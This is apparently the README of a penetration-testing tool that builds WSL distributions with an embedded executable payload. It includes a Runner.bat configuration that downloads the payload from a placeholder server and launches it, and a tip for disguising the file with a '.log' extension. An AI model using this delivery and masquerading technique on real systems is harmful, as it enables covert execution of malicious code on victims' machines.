
A powerful shell script for creating custom WSL (Windows Subsystem for Linux) distributions with embedded payloads.
This tool is intended for legitimate security research and penetration testing. Users are responsible for ensuring they have proper authorization before testing systems they do not own or have explicit permission to test.
A shell script for creating minimal WSL (Windows Subsystem for Linux) distributions with embedded payloads. This tool automates the process of building Alpine Linux-based WSL distributions that can execute custom payloads upon launch.
The Build_WSL_Payload.sh script downloads the latest Alpine Linux rootfs, customizes it for WSL use, embeds a user-specified executable, and packages everything into a distributable .wsl file.
The Runner.bat will download the WSL config file from the provided URL and launch it (will install wsl if not present and admin rights are available)
This is particularly useful for penetration testing, security research, and custom WSL environment creation.
-N, --name: Specify the default distribution name for WSL-P, --payload: Specify the path to the payload executable file-H, --help: Display the help menu# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
Option 1. Double-Click - Double clicking the WSL file will execute the payload but will also open a cmd prompt that must be closed manually. (Not recommended)
Option 2. Use the Runner.bat file
C:\Users\USER_NAME> .\Runner.bat
The Runner.bat script automatically:
Edit the variables at the top of Runner.bat to customize:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
This project was inspired by and builds upon the research and techniques documented in the dmcxblue/WSL-Payloads repository, which provides valuable insights into WSL file format weaponization and security research.
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.